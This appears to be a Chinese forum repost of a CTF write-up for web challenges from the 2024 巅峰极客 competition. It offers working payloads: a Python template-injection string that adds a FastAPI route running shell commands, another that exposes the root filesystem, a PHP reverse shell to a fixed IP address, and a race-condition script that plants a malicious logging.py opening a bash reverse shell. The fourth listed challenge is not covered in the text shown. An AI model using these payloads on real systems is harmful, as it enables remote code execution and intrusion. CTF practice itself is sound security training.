ToB企服应用市场:ToB评测及商务社交产业平台

标题: 【Web】巅峰极客2024 部门题解 [打印本页]

作者: 梦应逍遥 时间: 2024-8-31 04:20
标题: 【Web】巅峰极客2024 部门题解
目录
EncirclingGame
GoldenHornKing
php_online
admin_Test

EncirclingGame

玩赢游戏就行

GoldenHornKing

利用点在传入的app

可以打python内存马

/calc?calc_req=config.__init__.__globals__['__builtins__']['exec']('app.add_api_route("/flag",lambda:__import__("os").popen("cat /flag").read());',{"app":app})

复制代码

访问./flag

也可以挂载静态文件

/calc?calc_req=lipsum.__globals__['__builtins__'].exec("from fastapi.staticfiles import StaticFiles;app.mount('/static', StaticFiles(directory='/'), name='static')", {"app": app})

复制代码

访问./static/flag

php_online

先起一个id为aaaaaaa1的沙箱，反弹shell

<?php system('php -r \'$sock=fsockopen("124.222.136.33",1337);exec("sh <&3 >&3 2>&3");\'');?>

复制代码

再起一个id为aaaaaaa2的沙箱，使得/sandbox/aaaaaaa2存在
再在aaaaaaa1环境里运行sh脚本条件竞争让init.py里import的恶意logging.py存在

init.py 中的logging会优先应用同目录下的logging.py，而非logging三方库

echo "__import__('os').popen('bash -c "bash -i >& /dev/tcp/124.222.136.33/1338 0>&1"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh

复制代码

运行sh脚本后再进入aaaaaaa2环境，任意传一个<?php echo 1;?>触发sudo -u www-data python3 init.py
运行恶意logging.py后反弹shell拿到www-data权限